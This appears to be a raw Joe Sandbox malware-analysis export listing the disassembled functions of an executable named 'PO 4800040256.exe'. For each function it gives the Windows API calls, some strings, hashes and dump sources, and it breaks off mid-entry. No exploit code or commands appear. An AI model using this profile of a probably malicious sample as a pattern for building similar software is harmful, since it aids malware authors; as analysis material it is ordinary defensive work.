                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CapsDevice$Release
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1035833867-0
                                                                                                                                                                      • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                      • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                                                                                                      • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                      • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                                                                                                      Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                                                                                                      • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                                                                                        • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                                                                                      • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3495660284-0
                                                                                                                                                                      • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                      • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                                                                                      • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                      • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                                                                                      Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                                                                                      • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                                                                                      • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                                                                                      • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 839392675-0
                                                                                                                                                                      • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                      • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                                                                                      • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                      • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                                                                                      Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\PO 4800040256.exe,00000004), ref: 00436055
                                                                                                                                                                      • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                                                                                      • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                                                                                      • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00436081
                                                                                                                                                                      • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1690418490-0
                                                                                                                                                                      • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                      • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                                                                                      • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                      • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                                                                                      Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                      • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                                                                                                      • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                                                                                                      • CoUninitialize.OLE32 ref: 00475D71
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                      • String ID: .lnk$HH
                                                                                                                                                                      • API String ID: 886957087-3121654589
                                                                                                                                                                      • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                      • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                                                                                                      • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                      • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                                                                                                      Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$Delete$InfoItem_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 1173514356-4108050209
                                                                                                                                                                      • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                      • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                                                                                      • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                      • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                                                                                      Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                                                                                      • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$_wcslen
                                                                                                                                                                      • String ID: ComboBox$ListBox
                                                                                                                                                                      • API String ID: 763830540-1403004172
                                                                                                                                                                      • Opcode ID: 509af3a058f8d2ccd68eb6fec456bdedc6df801b0ffdee10d368a4f30f08f539
                                                                                                                                                                      • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                                                                                      • Opcode Fuzzy Hash: 509af3a058f8d2ccd68eb6fec456bdedc6df801b0ffdee10d368a4f30f08f539
                                                                                                                                                                      • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                                                                                                      Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                                                                                        • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75922EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                        • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                        • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                      • String ID: nul
                                                                                                                                                                      • API String ID: 2124370227-2873401336
                                                                                                                                                                      • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                      • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                                                                                      • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                      • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                                                                                      Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                                                                                        • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75922EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                        • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                        • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                      • String ID: nul
                                                                                                                                                                      • API String ID: 2124370227-2873401336
                                                                                                                                                                      • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                      • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                                                                                      • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                      • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                                                                                      Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                                                                                      • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                                                                                      • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                                                                                      • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                                                                                      • String ID: SysAnimate32
                                                                                                                                                                      • API String ID: 3529120543-1011021900
                                                                                                                                                                      • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                      • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                                                                                      • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                      • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                                                                                      Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                                                                                      • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                                                                                      • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                                                                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message$Peek$DispatchTranslate
                                                                                                                                                                      • String ID: *.*
                                                                                                                                                                      • API String ID: 1795658109-438819550
                                                                                                                                                                      • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                      • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                                                                                                      • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                      • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                                                                                                      Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                        • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                        • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                        • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                        • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                      • GetFocus.USER32 ref: 004609EF
                                                                                                                                                                        • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                                                                                        • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                                                                                      • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                                                                                                      • __swprintf.LIBCMT ref: 00460A7A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                                                                                                      • String ID: %s%d
                                                                                                                                                                      • API String ID: 991886796-1110647743
                                                                                                                                                                      • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                      • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                                                                                      • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                      • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                                                                                      Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _memset$_sprintf
                                                                                                                                                                      • String ID: %02X
                                                                                                                                                                      • API String ID: 891462717-436463671
                                                                                                                                                                      • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                      • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                                                                                      • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                      • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                                                                                      Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0042CD00
                                                                                                                                                                      • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                                                                                                        • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO 4800040256.exe,?,C:\Users\user\Desktop\PO 4800040256.exe,004A8E80,C:\Users\user\Desktop\PO 4800040256.exe,0040F3D2), ref: 0040FFCA
